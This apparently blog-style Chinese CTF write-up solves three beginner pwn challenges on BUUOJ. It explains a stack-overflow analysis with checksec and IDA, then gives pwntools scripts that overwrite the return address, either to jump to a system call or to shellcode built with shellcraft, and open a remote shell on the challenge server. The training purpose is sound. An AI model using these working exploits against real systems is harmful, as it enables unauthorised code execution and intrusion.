Do_u_know_how2_use_nc
程序执行就会得到shell。
直接使用nc工具连接。
类似这样。
ez_ret2shellcode
还是先下载下来在Linux上checksex一下,基本确实又是栈溢出了。
64位,所以我们用64位的IDA打开,没什么有用的信息,点开vulnerable_function函数
发现栈溢出的read函数,前面为0意味着标准读入,后面的长度也可以。没毛病就是这个地方了。
再翻翻其他函数,发现了我们想要的system函数。找到位置,和需要覆盖的返回地址。看过我之前的博文的人都知道,我比较喜欢system压参的位置。
再看看buf这个局部变量,先想要覆盖需要0x80 + 0x8的距离
expolit
from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()
ezstack_overflow
查看源码
可以判定是ret2shellcode+栈溢出题型。那么就需要用到shellcode。
32位:
print(shellcraft.sh()) 生成的是shell的汇编代码
print(asm(shellcraft.sh())) 生成的是shell的机械码
64位:
context.arch=“amd64”
print(shellcraft.sh()) 生成的是shell的汇编代码
print(asm(shellcraft.sh())) 生成的是shell的机械码
分析:
这个题有点坑的是gets函数。以前做的题都是一个参数,从终端获取字符串。这次还以为是把name的值赋给text,不需要终端获取字符串。然后刚开始的思路是shellcode+返回地址一步到位传给read函数,结果发现不通。。最后试验了一下gets(&a,&b)函数,在这里无视b,只用a这个参数,所以需要向终端发送两次payload。
from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",27143)
context.arch="amd64"
shellcode=asm(shellcraft.sh())
name=0x601080
p.recvuntil("name\n")
p.sendline(shellcode)
p.recvuntil("?\n")
payload=b"A"*0x28+p64(name)
p.sendline(payload)
p.interactive()